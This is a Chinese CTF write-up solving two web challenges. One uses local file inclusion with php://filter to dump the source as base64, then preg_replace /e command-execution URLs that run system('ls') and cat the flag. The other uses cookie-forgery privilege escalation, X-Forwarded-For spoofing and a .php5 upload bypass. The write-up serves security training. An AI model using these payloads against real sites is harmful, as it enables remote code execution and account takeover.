攻防世界WEB题目解析

ics-05-攻防世界

链接：http://111.198.29.45:50775
考点：文件包含漏洞、preg_replace()函数/e漏洞
1、点击左侧栏，存在index.php页面，查看源代码发现herf=?page=index，判断存在文件包含漏洞。
LFI漏洞的黑盒判断方法：单纯的从URL判断的话，URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
利用?page=php://filter/read=convert.base64-encode/resource=index.php得到base64：

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=

解密得到php代码，提取关键代码：

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}

2、从上面代码知道，在考preg_replace()关于/e执行代码的漏洞，参考https://www.cnblogs.com/mengdejun/p/3926704.html，可构造语句进行渗透：
①http://111.198.29.45:50775/index.php?pat=/test/e&rep=system('ls')&sub=test可以得到目录：

s3chahahaDir可疑，下一步进该目录查看
②http://111.198.29.45:50775/index.php?pat=/test/e&rep=system('cd s3chahahaDir%26%26+ls')&sub=test得到目录flag
③http://111.198.29.45:50775/index.php?pat=/test/e&rep=system('cd s3chahahaDir/flag%26%26+ls')&sub=test发现文件flag.php
④http://111.198.29.45:50775/index.php?pat=/test/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=test返回页面空白，查看源代码发现flag。

bug-攻防世界

链接：http://111.198.29.45:50972/index.php?module=login
考点：越权、IP伪造、上传绕过
1、打开题目之后，注册并登陆自己的用户，我们可以看到登陆页面有找回密码的选项，登陆之后有更改密码的选项，这些都是通过自己的用户越权获取admin权限的可以测试的地方。
2、利用bp截获Chang Pwd页面的web请求，发现user的cookie，应该是自己用户的MD5，测试发现是uid:username的MD5值，那么我们便可以利用1:admin的MD5值测试绕过越权，并成功。（注意url里的uid=1，并且直接对获取的包更改后forward，页面返回还是自己的信息，而在repeater里得到的是admin的信息。）
3、通过响应的内容，我们发现了admin的关键信息，可以拿去更改admin的密码，成功越权。
4、之前点击manage页面总是提示权限不够，其中应该有关键信息，再去看看，发现IP受限制，进行IP伪造，推荐使用火狐插件Header Editor，伪造x-forward-for:127.0.0.1成功绕过。然后看到了一个欢快的笑脸?，真是一山放过一山拦…
5、查看源代码发现：

柳暗花明又一村，filemanage说明???应该是upload，构造url：
http://111.198.29.45:50972/index.php?module=filemanage&do=upload
获取文件上传的页面，然后用我之前制作的图片马试一下，被人家过滤了…
多次测试发现上传jpg/png提示you know what i want… 鬼哦…
肯定是要php的，但是上传php又提示这是一个php文件，很烦…
参考官方的wp，用后缀php5，图片里用标签<script language="php">xxx;</script>，即可绕过，记得更改Content-Type: image/jpeg。在bp里即可得到flag。
菜鸡太难了…